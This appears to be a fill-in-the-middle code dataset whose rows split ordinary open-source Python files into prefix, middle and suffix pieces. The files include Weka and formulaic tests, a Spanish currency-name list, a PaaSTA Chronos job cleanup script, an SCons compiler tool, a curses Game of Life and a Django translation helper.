prefix stringlengths 0 918k | middle stringlengths 0 812k | suffix stringlengths 0 962k |
|---|---|---|
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# experiments.py
# Copyright (C) 2015 Fracpete (pythonwekawrapper at gmail dot com)
import unittest
import weka.core.jvm as jvm
import weka.core.converters as converters
import weka.classifiers as classifiers
import weka.experiments as experiments
import weka.plot.experiments as plot
import wekatests.tests.weka_test as weka_test
class TestExperiments(weka_test.WekaTest | ):
def test_plot_experiment(self):
"""
Tests the plot_experiment method.
"""
datasets = [self.datafile("bolts.arff"), self.datafile("bodyfat.arff"), self.datafile("autoPrice.arff")]
cls = [
classifiers.Classifier("weka.classifiers.trees.REPTree"),
| classifiers.Classifier("weka.classifiers.functions.LinearRegression"),
classifiers.Classifier("weka.classifiers.functions.SMOreg"),
]
outfile = self.tempfile("results-rs.arff")
exp = experiments.SimpleRandomSplitExperiment(
classification=False,
runs=10,
percentage=66.6,
preserve_order=False,
datasets=datasets,
classifiers=cls,
result=outfile)
exp.setup()
exp.run()
# evaluate
loader = converters.loader_for_file(outfile)
data = loader.load_file(outfile)
matrix = experiments.ResultMatrix("weka.experiment.ResultMatrixPlainText")
tester = experiments.Tester("weka.experiment.PairedCorrectedTTester")
tester.resultmatrix = matrix
comparison_col = data.attribute_by_name("Correlation_coefficient").index
tester.instances = data
tester.header(comparison_col)
tester.multi_resultset_full(0, comparison_col)
# plot
plot.plot_experiment(matrix, title="Random split (w/ StdDev)", measure="Correlation coefficient", show_stdev=True, wait=False)
plot.plot_experiment(matrix, title="Random split", measure="Correlation coefficient", wait=False)
def suite():
"""
Returns the test suite.
:return: the test suite
:rtype: unittest.TestSuite
"""
return unittest.TestLoader().loadTestsFromTestCase(TestExperiments)
if __name__ == '__main__':
jvm.start()
unittest.TextTestRunner().run(suite())
jvm.stop()
|
from .. import Provider as CurrencyProvider
class Provider(CurrencyProvider):
# Format: (code, name)
currencies = (
("AED", "Dírham de los Emiratos Árabes Unidos"),
("AFN", "Afghaní"),
("ALL", "Lek albanés"),
("AMD", "Dram armenio"),
("ANG", "Florín de las Antillas Holandesas"),
("AOA", "Kwanza angoleño"),
("ARS", "Peso argentino"),
("AUD", "Dólar australiano"),
("AWG", "Florín arubeño"),
("AZN", "Manat azerbaiyano"),
("BAM", "Marco bosnioherzegovino"),
("BBD", "Dólar barbadense"),
("BDT", "Taka bangladesí"),
("BGN", "Lev búlgaro"),
("BHD", "Dinar bahreiní"),
("BIF", "Franco burundés"),
("BMD", "Dólar de Bermudas"),
("BND", "Dólar bruneano"),
("BOB", "Boliviano"),
("BRL", "Real brasileño"),
("BSD", "Dólar bahameño"),
("BTN", "Ngultrum butanés"),
("BWP", "Pula de Botswana"),
("BYR", "Rublio bielurruso"),
("BZD", "Dólar beliceño"),
("CAD", "Dólar canadiense"),
("CDF", "Franco congolés"),
("CHF", "Franco suizo"),
("CLP", "Peso chileno"),
("CNY", "Yuan"),
("COP", "Peso colombiano"),
("CRC", "Colón costarricense"),
("CUC", "Peso cubano convertible"),
("CUP", "Peso subano"),
("CVE", "Escudo de Ca | bo Verde"),
("CZK", "Corona checa"),
("DJF", "Franco yibutiano"),
("DKK", "Corona danesa"),
("DOP", "Peso dom | inicano"),
("DZD", "Dinar argelino"),
("EGP", "Libra egipcia"),
("ERN", "Nafka"),
("ETB", "Bir de Etiopía"),
("EUR", "Euro"),
("FJD", "Dólar fiyiano"),
("FKP", "Libra de las islas Falkland"),
("GBP", "Libra esterlina"),
("GEL", "Larí georgiano"),
("GGP", "Libra de Guernsey"),
("GHS", "Cedi"),
("GIP", "Libra de Gibraltar"),
("GMD", "Dalasi"),
("GNF", "Franco guineano"),
("GTQ", "Quetzal guatemalteco"),
("GYD", "Dólar guyanés"),
("HKD", "Dólar hongkonés"),
("HNL", "Lempira hondureño"),
("HRK", "Kuna croata"),
("HTG", "Gourde haitiano"),
("HUF", "Forinto húngaro"),
("IDR", "Rupia indonesia"),
("ILS", "Séquel israelí"),
("NIS", "Nuevo Séquel israelí"),
("IMP", "Libra manesa"),
("INR", "Rupia india"),
("IQD", "Dinar iraquí"),
("IRR", "Rial iraní"),
("ISK", "Corona islandesa"),
("JEP", "Libra de Jersey"),
("JMD", "Dólar jamaicano"),
("JOD", "Dinar jordano"),
("JPY", "Yen japonés"),
("KES", "Chelín keniano"),
("KGS", "Som kirguís"),
("KHR", "Riel camboyano"),
("KMF", "Franco comorense"),
("KPW", "Won norcoreano"),
("KRW", "Krahn Occidental"),
("KWD", "Dinar kuwaití"),
("KYD", "Dólar de las islas Cayman"),
("KZT", "Tenge kazako"),
("LAK", "Kip laosiano"),
("LBP", "Libra libanesa"),
("LKR", "Rupia esrilanquesa"),
("LRD", "Dólar liberiano"),
("LSL", "Loti lesothense"),
("LTL", "Litas lituana"),
("LYD", "Dinar libio"),
("MAD", "Dirham marroquí"),
("MDL", "Leu moldavo"),
("MGA", "Ariary malgache"),
("MKD", "Denar normacedonio"),
("MMK", "Kyat birmano"),
("MNT", "Tugrik mongol"),
("MOP", "Pataca macaense"),
("MRO", "Ouguiya mauritano"),
("MUR", "Rupia mauritana"),
("MVR", "Rupia de Maldivas"),
("MWK", "Kwacha malauí"),
("MXN", "Peso mexicano"),
("MYR", "Ringgit"),
("MZN", "Metical mozambiqueño"),
("NAD", "Dólar namibio"),
("NGN", "Naira nigeriano"),
("NIO", "Córdoba nicaragüense"),
("NOK", "Corona noruega"),
("NPR", "Rupia nepalí"),
("NZD", "Dólar neozelandés"),
("OMR", "Rial omaní"),
("PAB", "Balboa panameño"),
("PEN", "Sol peruano"),
("PGK", "Kina"),
("PHP", "Peso filipino"),
("PKR", "Rupia pakistaní"),
("PLN", "Złoty polaco"),
("PYG", "Guaraní paraguayo"),
("QAR", "Riyal catarí"),
("RON", "Leu rumano"),
("RSD", "Dinar serbio"),
("RUB", "Rublo ruso"),
("RWF", "Franco ruandés"),
("SAR", "Riyal saudí"),
("SBD", "Dólar de las islas Solomon"),
("SCR", "Rupia seychellense"),
("SDG", "Libra sudanesa"),
("SEK", "Corona sueca"),
("SGD", "Dólar de Singapur"),
("SHP", "Libra de Santa Elena"),
("SLL", "Leona"),
("SOS", "Chelín somalí"),
("SPL", "Luigino"),
("SRD", "Dólar surinamés"),
("STD", "Dobra santotomense"),
("SVC", "Colón salvadoreño"),
("SYP", "Libra siria"),
("SZL", "Lilangeni"),
("THB", "Baht tailandés"),
("TJS", "Somoni tayiko"),
("TMT", "Manat turcomano"),
("TND", "Dinar tunecino"),
("TOP", "Pa'anga tongano"),
("TRY", "Lira turca"),
("TTD", "Dólar de Trinidad and Tobago"),
("TVD", "Dólar tuvaluano"),
("TWD", "Nuevo dólar taiwanés"),
("TZS", "Chelín tanzano"),
("UAH", "Grivna ucraniano"),
("UGX", "Chelín ugandés"),
("USD", "Dólar de Estados Unidos"),
("UYU", "Peso uruguayo"),
("UZS", "Soʻm Uzbekistani"),
("VEF", "Bolívar venezolano"),
("VND", "Đồng vietnamita"),
("VUV", "Vanuatu vatu"),
("WST", "Tālā samoano"),
("XAF", "Franco centro africano"),
("XCD", "Dólar del Caribe Oriental"),
("XDR", "Derechos especiales de giro"),
("XOF", "Franco de África occidental"),
("XPF", "Franco CFP"),
("YER", "Rial yemení"),
("ZAR", "Rand sudafricano"),
("ZMW", "Kwacha zambiano"),
("ZWD", "Dólar zimbabuense"),
)
price_formats = ["#,##", "%#,##", "%##,##", "%.###,##", "%#.###,##"]
def pricetag(self) -> str:
return self.numerify(self.random_element(self.price_formats)) + "\N{no-break space}\N{euro sign}"
|
import pytest
from formulaic.parser.types import Factor, Term
class TestTerm:
@pytest.fixture
def term1(self):
return Term([Factor("c"), Factor("b")])
@pytest.fixture
def term2(self):
return Term([Factor("c"), Factor("d")])
@pytest.fixture
def term3(self):
return Term([Factor("a"), Factor("b"), Factor("c")])
def test_mul(self, term1, term2):
assert str(term1 * term2) == "b:c:d"
with pytest.raises(TypeError):
term1 * 1
def test_hash(self, term1): |
assert hash(term1) == hash("b:c")
def test_equality(self, term1, term2):
assert term1 == term1
assert term1 == "b:c"
assert term1 != term2
assert term1 != 1
def test_sort( | self, term1, term2, term3):
assert term1 < term2
assert term2 < term3
assert term1 < term3
assert not (term3 < term1)
with pytest.raises(TypeError):
term1 < 1
def test_repr(self, term1):
assert repr(term1) == "b:c"
|
le except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Usage: ./cleanup_chronos_jobs.py [options]
Clean up chronos jobs that aren't supposed to run on this cluster by deleting them.
Gets the current job list from chronos, and then a 'valid_job_list'
via chronos_tools.get_chronos_jobs_for_cluster
If a job is deployed by chronos but not in the expected list, it is deleted.
Any tasks associated with that job are also deleted.
- -d <SOA_DIR>, --soa-dir <SOA_DIR>: Specify a SOA config dir to read from
"""
import argparse
import datetime
import sys
import dateutil.parser
import pysensu_yelp
from paasta_tools import chronos_tools
from paasta_tools import monitoring_tools
from paasta_tools import utils
from paasta_tools.check_chronos_jobs import check_chronos_job_name
from paasta_tools.utils import InvalidJobNameError
from paasta_tools.utils import NoConfigurationForServiceError
from paasta_tools.utils import paasta_print
def parse_args():
parser = argparse.ArgumentParser(description='Cleans up stale chronos jobs.')
parser.add_argument(
'-d', '--soa-dir', dest="soa_dir", metavar="SOA_DIR",
default=chronos_tools.DEFAULT_SOA_DIR,
help="define a different soa config directory",
)
args = parser.parse_args()
return args
def execute_chronos_api_call_for_job(api_call, job):
"""Attempt a call to the Chronos api, catching any exception.
We *have* to catch Exception, because the client catches
the more specific exception thrown by the http clients
and rethrows an Exception -_-.
The chronos api returns a 204 No Content when the delete is
successful, and chronos-python only returns the body of the
response from all http calls. So, if this is successful,
then None will be returned.
https://github.com/asher/chronos-python/pull/7
We catch it here, so that the other deletes are completed.
"""
try:
return api_call(job)
except Exception as e:
return e
def cleanup_jobs(client, j | obs):
"""Maps a list of jobs to cleanup to a list of response objects (or exception objects) from the api"""
return [(job, execute_chronos_api_call_for_job(client.delete, job)) for job in jobs]
def cleanup_tasks(client, jobs):
"""Maps a list of tasks to cleanup to a list of response objects (or exception objects) from the api"""
return [(job, execute_chronos_api | _call_for_job(client.delete_tasks, job)) for job in jobs]
def format_list_output(title, job_names):
return '%s\n %s' % (title, '\n '.join(job_names))
def deployed_job_names(client):
return [job['name'] for job in client.list()]
def filter_paasta_jobs(jobs):
"""
Given a list of job name strings, return only those in the format PaaSTA expects.
:param jobs: a list of job names.
:returns: those job names in a format PaaSTA expects
"""
formatted = []
for job in jobs:
try:
# attempt to decompose it
service, instance = chronos_tools.decompose_job_id(job)
formatted.append(job)
except InvalidJobNameError:
pass
return formatted
def filter_tmp_jobs(job_names):
"""
filter temporary jobs created by chronos_rerun
"""
return [name for name in job_names if name.startswith(chronos_tools.TMP_JOB_IDENTIFIER)]
def filter_expired_tmp_jobs(client, job_names, cluster, soa_dir):
"""
Given a list of temporary jobs, find those ready to be removed. Their
suitablity for removal is defined by two things:
- the job has completed (irrespective of whether it was a success or
failure)
- the job completed more than 24 hours ago
"""
expired = []
for job_name in job_names:
service, instance = chronos_tools.decompose_job_id(job_name)
temporary_jobs = chronos_tools.get_temporary_jobs_for_service_instance(
client=client,
service=service,
instance=instance,
)
for job in temporary_jobs:
last_run_time, last_run_state = chronos_tools.get_status_last_run(job)
try:
chronos_job_config = chronos_tools.load_chronos_job_config(
service=service,
instance=instance,
cluster=cluster,
soa_dir=soa_dir,
)
interval = chronos_job_config.get_schedule_interval_in_seconds() or 0
except NoConfigurationForServiceError:
# If we can't get the job's config, default to cleanup after 1 day
interval = 0
if last_run_state != chronos_tools.LastRunState.NotRun:
if ((datetime.datetime.now(dateutil.tz.tzutc()) -
dateutil.parser.parse(last_run_time)) >
max(datetime.timedelta(seconds=interval), datetime.timedelta(days=1))):
expired.append(job_name)
return expired
def main():
args = parse_args()
soa_dir = args.soa_dir
config = chronos_tools.load_chronos_config()
client = chronos_tools.get_chronos_client(config)
system_paasta_config = utils.load_system_paasta_config()
cluster = system_paasta_config.get_cluster()
running_jobs = set(deployed_job_names(client))
expected_service_jobs = {chronos_tools.compose_job_id(*job) for job in
chronos_tools.get_chronos_jobs_for_cluster(soa_dir=args.soa_dir)}
all_tmp_jobs = set(filter_tmp_jobs(filter_paasta_jobs(running_jobs)))
expired_tmp_jobs = set(filter_expired_tmp_jobs(client, all_tmp_jobs, cluster=cluster, soa_dir=soa_dir))
valid_tmp_jobs = all_tmp_jobs - expired_tmp_jobs
to_delete = running_jobs - expected_service_jobs - valid_tmp_jobs
task_responses = cleanup_tasks(client, to_delete)
task_successes = []
task_failures = []
for response in task_responses:
if isinstance(response[-1], Exception):
task_failures.append(response)
else:
task_successes.append(response)
job_responses = cleanup_jobs(client, to_delete)
job_successes = []
job_failures = []
for response in job_responses:
if isinstance(response[-1], Exception):
job_failures.append(response)
else:
job_successes.append(response)
try:
(service, instance) = chronos_tools.decompose_job_id(response[0])
monitoring_tools.send_event(
check_name=check_chronos_job_name(service, instance),
service=service,
overrides={},
soa_dir=soa_dir,
status=pysensu_yelp.Status.OK,
output="This instance was removed and is no longer supposed to be scheduled.",
)
except InvalidJobNameError:
# If we deleted some bogus job with a bogus jobid that could not be parsed,
# Just move on, no need to send any kind of paasta event.
pass
if len(to_delete) == 0:
paasta_print('No Chronos Jobs to remove')
else:
if len(task_successes) > 0:
paasta_print(format_list_output(
"Successfully Removed Tasks (if any were running) for:",
[job[0] for job in task_successes],
))
# if there are any failures, print and exit appropriately
if len(task_failures) > 0:
paasta_print(format_list_output("Failed to Delete Tasks for:", [job[0] for job in task_failures]))
if len(job_successes) > 0:
paasta_print(format_list_output("Successfully Removed Jobs:", [job[0] for job in job_successes]))
# if there are any failures, print and |
#!/usr/bin/env python
import io
import os
import sys
from efesto.Version import version
from setuptools import find_packages, setup
if sys.argv[-1] == 'publish':
os.system('python setup.py sdist upload')
os.system('python setup.py bdist_wheel upload')
sys.exit()
readme = io.open('README.md', 'r', encoding='utf-8').read()
setup(
name='efesto',
description='RESTful (micro)server that can generate an API in minutes.',
long_description=readme,
long_description_content_type='text/markdown',
url='https://github.com/getefesto/efesto',
author='Jacopo Cascioli',
author_email='noreply@jacopocascioli.com',
license='GPL3',
version=version,
packages=find_packages(),
tests_require=[
'pytest',
'pytest-mock',
'pytest-falcon'
],
setup_requires=['pytest-runner'],
install_requires=[
'falcon>=1.4.1',
'falcon-cors>=1.1.7',
'psycopg2-binary>=2.7.5',
'peewee>=3.7.1',
'click==6.7',
'colorama>=0.4.0',
'aratrum>=0.3.2',
'python-rapidjson>=0.6.3',
'pyjwt>=1.6.4',
'ruamel.yaml>=0.15.74'
],
classifiers=[
'Intended Audience :: Developers',
'Development Status :: 4 - Beta',
'Environment :: Web Environment',
'Topic :: Internet :: WWW/HTTP',
'Topic :: Internet :: WWW/HTTP :: Dynamic Content',
'Operating System :: OS Independent',
| 'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.5',
'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
],
entry_points="""
[console_scripts]
efesto=efesto.Cli:Cli.main |
"""
)
|
"""SCons.Tool.sunf90
Tool-specific initialization for sunf90, the Sun Studio F90 compiler.
There normally shouldn't be any need to import this module directly.
It will usually be imported through the generic SCons.Tool.Tool()
selection method.
"""
#
# Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 201 | 4 The SCons Foundation
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# T | he above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
# WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
__revision__ = "src/engine/SCons/Tool/sunf90.py 2014/03/02 14:18:15 garyo"
import SCons.Util
from FortranCommon import add_all_to_env
compilers = ['sunf90', 'f90']
def generate(env):
"""Add Builders and construction variables for sun f90 compiler to an
Environment."""
add_all_to_env(env)
fcomp = env.Detect(compilers) or 'f90'
env['FORTRAN'] = fcomp
env['F90'] = fcomp
env['SHFORTRAN'] = '$FORTRAN'
env['SHF90'] = '$F90'
env['SHFORTRANFLAGS'] = SCons.Util.CLVar('$FORTRANFLAGS -KPIC')
env['SHF90FLAGS'] = SCons.Util.CLVar('$F90FLAGS -KPIC')
def exists(env):
return env.Detect(compilers)
# Local Variables:
# tab-width:4
# indent-tabs-mode:nil
# End:
# vim: set expandtab tabstop=4 shiftwidth=4:
|
#!/usr/bin/env python3
'''Conway's Game of Life in a Curses Terminal Window
'''
import curses
import time
from GameOfLife import NumpyWorld
from GameOfLife import Patterns
from curses import ( COLOR_BLACK, COLOR_BLUE, COLOR_CYAN,
COLOR_GREEN, COLOR_MAGENTA, COLOR_RED,
COLOR_WHITE, COLOR_YELLOW )
class CursesWorld(NumpyWorld):
'''
Display a Game of Life in a terminal window using curses.
'''
colors = [COLOR_WHITE,COLOR_YELLOW,COLOR_MAGENTA,
COLOR_CYAN,COLOR_RED,COLOR_GREEN,COLOR_BLUE]
def __init__(self,window):
'''
:param: window - curses window
'''
h,w = window.getmaxyx()
super(CursesWorld,self).__init__(w,h-1)
self.w = window
self.interval = 0
for n,fg in enumerate(self.colors):
curses.init_pair(n+1,fg,COLOR_BLACK)
@property
def gps(self):
'''
Generations per second.
'''
try:
return self._gps
except AttributeError:
pass
self._gps = 0
return self._gps
@gps.setter
def gps(self,newValue):
self._gps = int(newValue)
def colorForCell(self,age):
'''
Returns a curses color_pair for a cell, chosen by the cell's age.
'''
n = min(age // 100,len(self.colors)-1)
return curses.color_pair(n+1)
def handle_input(self):
'''
Accepts input from the user and acts on it.
Key Action
-----------------
q exit()
Q exit()
+ increase redraw interval by 10 milliseconds
- decrease redraw interval by 10 milliseconds
'''
c = self.w.getch()
if c == ord('q') or c == ord('Q'):
exit()
if c == ord('+'):
self.interval += 10
if c == ord('-'):
self.interval -= 10
if self.interval < 0:
self.interval = 0
@property
def status(self):
'''
Format string for the status line.
'''
try:
return self._status.format(self=self,
a=len(self.alive),
t=self.cells.size)
except AttributeError:
pass
s = ['Q to quit\t',
'{self.generation:>10} G',
'{self.gps:>4} G/s',
'Census: {a:>5}/{t:<5}',
'{self.interval:>4} ms +/-']
self._status = ' '.join(s)
return self._status.format(self=self,
a=len(self.alive),
t=self.cells.size)
def draw(self):
'''
:return: None
Updates each character in the curses window with
the appropriate colored marker for each cell in the world.
Moves the cursor to bottom-most line, left-most column
when finished.
'''
for y in range(self.height):
for x in range(self.width):
c = self[x,y]
self.w.addch(y,x,self.markers[c > 0],self.colorForCell(c))
self.w.addstr(self.height,2,self.status)
self.w.move(self.height,1)
def run(self,stop=-1,interval=0):
'''
:param: stop - optional integer
:param: interval - optional integer
:return: None
This method will run the simulation described by world until the
given number of generations specified by ''stop'' has been met.
The default value will cause the simulation to run until interrupted
by the user.
The interval is number of milliseconds to pause between generations.
The default value of zero allows the simulation to run as fast as
possible.
The simulation is displayed via curses in a terminal window and
displays a status line at the bottom of the window.
The simulation can be stopped by the user pressing the keys 'q' or
'Q'. The interval between simulation steps can be increased with
the plus key '+' or decreased with the minus key '-' by increments
of 10 milliseconds.
'''
self.w.clear()
self.interval = interval
try:
while True:
if self.generation == stop:
break
self.handle_input()
t0 = time.time()
self.step()
self.draw()
self.w.refresh()
if self.interval:
curses.napms(self.interval)
t1 = time.time()
self.gps = 1/(t1-t0)
except KeyboardInterrupt:
pass
def main(stdscr,argv):
w = CursesWorld(stdscr)
if len(argv) == 1:
raise ValueError("no patterns specified.")
for thing in argv[1:]:
name,_,where = thing.partition(',')
try:
x,y = map(int,where.split(','))
except:
x,y = 0,0
w.addPattern(Patterns[name],x=x,y=y)
stdscr.nodelay(True)
w.run()
def usage | (argv,msg=None,exit_value=-1):
usagefmt = 'usage: {name} [[pattern_name],[X,Y]] ...'
namefmt = '\t{n}'
print(usagefmt.format(name=os.path.basename(argv[0])))
if msg:
print(msg)
print('pattern names:')
| [print(namefmt.format(n=name)) for name in Patterns.keys()]
exit(exit_value)
if __name__ == '__main__':
import sys
import os
from curses import wrapper
try:
wrapper(main,sys.argv)
except KeyError as e:
usage(sys.argv,'unknown pattern {p}'.format(p=str(e)))
except ValueError as e:
usage(sys.argv,str(e))
|
lib
# Map swarming_client to use subprocess42
sys.path.append(common_lib.SWARMING_DIR)
from utils import subprocess42
class TimeoutError(Exception):
pass
class ControllerProcessWrapper(object):
"""Controller-side process wrapper class.
This class provides a more intuitive interface to task-side processes
than calling the methods directly using the RPC object.
"""
def __init__(self, rpc, cmd, verbose=False, detached=False, cwd=None,
key=None, shell=None):
logging.debug('Creating a process with cmd=%s', cmd)
self._rpc = rpc
self._key = rpc.subprocess.Process(cmd, key)
logging.debug('Process created with key=%s', self._key)
if verbose:
self._rpc.subprocess.SetVerbose(self._key)
if detached:
self._rpc.subprocess.SetDetached(self._key)
if cwd:
self._rpc.subprocess.SetCwd(self._key, cwd)
if shell:
self._rpc.subprocess.SetShell(self._key)
self._rpc.subprocess.Start(self._key)
@property
def key(self):
return self._key
def Terminate(self):
logging.debug('Terminating process %s', self._key)
return self._rpc.subprocess.Terminate(self._key)
def Kill(self):
logging.debug('Killing process %s', self._key)
self._rpc.subprocess.Kill(self._key)
def Delete(self):
return self._rpc.subprocess.Delete(self._key)
def GetReturncode(self):
return self._rpc.subprocess.GetReturncode(self._key)
def ReadStdout(self):
"""Returns all stdout since the last call to ReadStdout.
This call allows the user to read stdout while the process is running.
However each call will flush the local stdout buffer. In order to make
multiple calls to ReadStdout and to retain the entire output the results
of this call will need to be buffered in the calling code.
"""
return self._rpc.subprocess.ReadStdout(self._key)
def ReadStderr(self):
"""Returns all stderr read since the last call to ReadStderr.
See ReadStdout for additional details.
"""
return self._rpc.subprocess.ReadStderr(self._key)
def ReadOutput(self):
"""Returns the (stdout, stderr) since the last Read* call.
See ReadStdout for additional details.
"""
return self._rpc.subprocess.ReadOutput(self._key)
def Wait(self, timeout=None):
return self._rpc.subprocess.Wait(self._key, timeout)
def Poll(self):
return self._rpc.subprocess.Poll(self._key)
def GetPid(self):
return self._rpc.subprocess.GetPid(self._key)
class Process(object):
"""Implements a task-side non-blocking subprocess.
This non-blocking subprocess allows the caller to continue operating while
also able to interact with this subprocess based on a key returned to
the caller at the time of creation.
Creation args are set via Set* methods called after calling Process but
before calling Start. This is due to a limitation of the XML-RPC
implementation not supporting k | eyword arguments.
"""
_processes = {}
_process_next_id = 0
_creation_lock = threading.Lock()
def __init__(self, cmd, key):
self.s | tdout = ''
self.stderr = ''
self.key = key
self.cmd = cmd
self.proc = None
self.cwd = None
self.shell = False
self.verbose = False
self.detached = False
self.complete = False
self.data_lock = threading.Lock()
self.stdout_file = open(self._CreateOutputFilename('stdout'), 'wb+')
self.stderr_file = open(self._CreateOutputFilename('stderr'), 'wb+')
def _CreateOutputFilename(self, fname):
return os.path.join(common_lib.GetOutputDir(), '%s.%s' % (self.key, fname))
def __str__(self):
return '%r, cwd=%r, verbose=%r, detached=%r' % (
self.cmd, self.cwd, self.verbose, self.detached)
def _reader(self):
for pipe, data in self.proc.yield_any():
with self.data_lock:
if pipe == 'stdout':
self.stdout += data
self.stdout_file.write(data)
self.stdout_file.flush()
if self.verbose:
sys.stdout.write(data)
else:
self.stderr += data
self.stderr_file.write(data)
self.stderr_file.flush()
if self.verbose:
sys.stderr.write(data)
self.complete = True
@classmethod
def KillAll(cls):
for key in cls._processes:
cls.Kill(key)
@classmethod
def Process(cls, cmd, key=None):
with cls._creation_lock:
if not key:
key = 'Process%d' % cls._process_next_id
cls._process_next_id += 1
if key in cls._processes:
raise KeyError('Key %s already in use' % key)
logging.debug('Creating process %s with cmd %r', key, cmd)
cls._processes[key] = cls(cmd, key)
return key
def _Start(self):
logging.info('Starting process %s', self)
self.proc = subprocess42.Popen(self.cmd, stdout=subprocess42.PIPE,
stderr=subprocess42.PIPE,
detached=self.detached, cwd=self.cwd,
shell=self.shell)
threading.Thread(target=self._reader).start()
@classmethod
def Start(cls, key):
cls._processes[key]._Start()
@classmethod
def SetCwd(cls, key, cwd):
"""Sets the process's cwd."""
logging.debug('Setting %s cwd to %s', key, cwd)
cls._processes[key].cwd = cwd
@classmethod
def SetShell(cls, key):
"""Sets the process's shell arg to True."""
logging.debug('Setting %s.shell = True', key)
cls._processes[key].shell = True
@classmethod
def SetDetached(cls, key):
"""Creates a detached process."""
logging.debug('Setting %s.detached = True', key)
cls._processes[key].detached = True
@classmethod
def SetVerbose(cls, key):
"""Sets the stdout and stderr to be emitted locally."""
logging.debug('Setting %s.verbose = True', key)
cls._processes[key].verbose = True
@classmethod
def Terminate(cls, key):
logging.debug('Terminating process %s', key)
cls._processes[key].proc.terminate()
@classmethod
def Kill(cls, key):
logging.debug('Killing process %s', key)
cls._processes[key].proc.kill()
@classmethod
def Delete(cls, key):
if cls.GetReturncode(key) is None:
logging.warning('Killing %s before deleting it', key)
cls.Kill(key)
logging.debug('Deleting process %s', key)
cls._processes.pop(key)
@classmethod
def GetReturncode(cls, key):
return cls._processes[key].proc.returncode
@classmethod
def ReadStdout(cls, key):
"""Returns all stdout since the last call to ReadStdout.
This call allows the user to read stdout while the process is running.
However each call will flush the local stdout buffer. In order to make
multiple calls to ReadStdout and to retain the entire output the results
of this call will need to be buffered in the calling code.
"""
proc = cls._processes[key]
with proc.data_lock:
# Perform a "read" on the stdout data
stdout = proc.stdout
proc.stdout = ''
return stdout
@classmethod
def ReadStderr(cls, key):
"""Returns all stderr read since the last call to ReadStderr.
See ReadStdout for additional details.
"""
proc = cls._processes[key]
with proc.data_lock:
# Perform a "read" on the stderr data
stderr = proc.stderr
proc.stderr = ''
return stderr
@classmethod
def ReadOutput(cls, key):
"""Returns the (stdout, stderr) since the last Read* call.
See ReadStdout for additional details.
"""
return cls.ReadStdout(key), cls.ReadStderr(key)
@classmethod
def Wait(cls, key, timeout=None):
"""Wait for the process to complete.
We wait for all of the output to be written before returning. This solves
a race condition found on Windows where the output can lag behind the
wait call.
Raises:
TimeoutError if the process doesn't finish in the specified timeout.
"""
end = None if timeout is None else timeout + time.time()
while end is None or end > time.time():
if cls._processes[key].complete:
return
time.sleep(0.05)
raise TimeoutError()
@classmethod
def Poll(cls, key):
return cls._processes[key].proc |
h == other.path
def __lt__(self, other):
return self.path < other.path
@property
def path(self):
return os.path.join(self.dirpath, self.file)
class BuildFile:
"""
Represent the state of a translatable file during the build process.
"""
def __init__(self, command, domain, translatable):
self.command = command
self.domain = domain
self.translatable = translatable
@cached_property
def is_templatized(self):
if self.domain == 'djangojs':
return self.command.gettext_version < (0, 18, 3)
elif self.domain == 'django':
file_ext = os.path.splitext(self.translatable.file)[1]
return file_ext != '.py'
return False
@cached_property
def path(self):
return self.translatable.path
@cached_property
def work_path(self):
"""
Path to a file which is being fed into GNU gettext pipeline. This may
be either a translatable or its preprocessed version.
"""
if not self.is_templatized:
return self.path
extension = {
'djangojs': 'c',
'django': 'py',
}.get(self.domain)
filename = '%s.%s' % (self.translatable.file, extension)
return os.path.join(self.translatable.dirpath, filename)
def preprocess(self):
"""
Preprocess (if necessary) a translatable file before passing it to
xgettext GNU gettext utility.
"""
if not self.is_templatized:
return
encoding = settings.FILE_CHARSET if self.command.settings_available else 'utf-8'
with open(self.path, 'r', encoding=encoding) as fp:
src_data = fp.read()
if self.domain == 'djangojs':
content = prepare_js_for_gettext(src_data)
elif self.domain == 'django':
content = templatize(src_data, origin=self.path[2:])
with open(self.work_path, 'w', encoding='utf-8') as fp:
fp.write(content)
def postprocess_messages(self, msgs):
"""
Postprocess messages generated by xgettext GNU gettext utility.
Transform paths as if these messages were generated from original
translatable files rather than from preprocessed versions.
"""
if not self.is_templatized:
return msgs
# Remove '.py' suffix
if os.name == 'nt':
# Preserve '.\' prefix on Windows to respect gettext behavior
old_path = self.work_path
new_path = self.path
else:
old_path = self.work_path[2:]
new_path = self.path[2:]
return re.sub(
r'^(#: .*)(' + re.escape(old_path) + r')',
lambda match: match.group().replace(old_path, new_path),
msgs,
flags=re.MULTILINE
)
def cleanup(self):
"""
Remove a preprocessed copy of a translatable file (if any).
"""
if self.is_templatized:
# This check is needed for the case of a symlinked file and its
# source being processed inside a single group (locale dir);
# removing either of those two removes both.
if os.path.exists(self.work_path):
os.unlink(self.work_path)
def normalize_eols(raw_contents):
"""
